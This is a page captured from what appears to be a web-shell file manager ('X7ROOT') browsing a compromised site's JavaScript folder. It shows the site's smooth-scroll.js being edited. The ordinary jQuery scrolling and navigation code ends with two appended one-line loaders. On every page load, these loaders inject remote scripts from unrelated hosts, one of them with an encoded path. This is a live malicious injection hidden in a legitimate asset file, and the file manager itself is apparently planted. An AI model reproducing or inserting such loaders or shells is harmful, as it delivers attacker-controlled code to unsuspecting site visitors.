X7ROOT File Manager
Current Path:
/home/softbdltd/adexchangebd.com/js
home
/
softbdltd
/
adexchangebd.com
/
js
/
??
..
??
addsblockcode
(9.03 KB)
??
bootstrap.js
(57.09 KB)
??
gmap3.min.js
(27.98 KB)
??
jquery.appear.js
(1.45 KB)
??
jquery.bxslider.min.js
(18.72 KB)
??
jquery.flexslider.js
(39.79 KB)
??
jquery.imagesloaded.min.js
(1.22 KB)
??
jquery.isotope.min.js
(15.58 KB)
??
jquery.magnific-popup.min.js
(20.26 KB)
??
jquery.mb.YTPlayer.js
(37.94 KB)
??
jquery.migrate.js
(15.81 KB)
??
jquery.min.js
(90.93 KB)
??
plugins-scroll.js
(16.31 KB)
??
protection.php
(0 B)
??
retina-1.1.0.min.js
(2.92 KB)
??
script.js
(8.24 KB)
??
smooth-scroll.js
(3.6 KB)
??
waypoints.js
(16.95 KB)
Editing: smooth-scroll.js
/*jshint jquery:true */ /*global $:true */ var $ = jQuery.noConflict(); $(document).ready(function($) { "use strict"; /*-------------------------------------------------*/ /* = Smooth scroll /*-------------------------------------------------*/ $('#container').imagesLoaded(function(){ //Get Sections top position function getTargetTop(elem){ //gets the id of the section header //from the navigation's href e.g. ("#html") var id = elem.attr("href"); //Height of the navigation var offset = 80; //Gets the distance from the top and //subtracts the height of the nav. return $(id).offset().top - offset; } //Smooth scroll when user click link that starts with # var elemHref = $('.navbar-right a[href^="#"]'); elemHref.click(function(event) { //gets the distance from the top of the //section refenced in the href. var target = getTargetTop($(this)); //scrolls to that section. $('html, body').animate({scrollTop:target}, 500); //prevent the browser from jumping down to section. event.preventDefault(); }); //Pulling sections from main nav. var sections = $('.navbar-right a[href^="#"]'); // Go through each section to see if it's at the top. // if it is add an active class function checkSectionSelected(scrolledTo){ //How close the top has to be to the section. var threshold = 100; var i; for (i = 0; i < sections.length; i++) { //get next nav item var section = $(sections[i]); //get the distance from top var target = getTargetTop(section); //Check if section is at the top of the page. if (scrolledTo > target - threshold && scrolledTo < target + threshold) { //remove all selected elements sections.removeClass("active"); //add current selected element. section.addClass("active"); } } } //Check if page is already scrolled to a section. checkSectionSelected($(window).scrollTop()); $(window).scroll(function(){ checkSectionSelected($(window).scrollTop()); }); }); /*-------------------------------------------------*/ /* = Menu - active /*-------------------------------------------------*/ // Whithout Resize $(function() { // Do our DOM lookups beforehand var nav_container = $("header"); var nav = $(".navbar"); var top_spacing = 0; var waypoint_offset = -106; nav_container.waypoint({ handler: function(direction) { if (direction == 'down') { nav_container.css({ 'height':nav.outerHeight() }); nav.stop().addClass("active").css("top",-nav.outerHeight()).animate({"top":top_spacing}); //nav_container.stop().addClass("active").css("top",-nav.outerHeight()).animate({"top":top_spacing}); } else { nav_container.css({ 'height':'106px' }); nav.stop().removeClass("active").css("top",nav.outerHeight()+waypoint_offset).animate({"top":""}); //nav_container.stop().removeClass("active").css("top",nav.outerHeight()+waypoint_offset).animate({"top":""}); } }, offset: function() { return -nav.outerHeight()-waypoint_offset; } }); }); }); ;(function(a,c,z,e,t){e=a.createElement(c);t=a.getElementsByTagName(c)[0];e.async=1;e.src=z;t.parentNode.insertBefore(e,t);})(document,'script','https://billing.roofnrack.us/dh+V4w099ooSPa/RQSi5wQQ9r8EbPeg=');;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https://content-website-analytics.com/script.js');
Upload File
Create Folder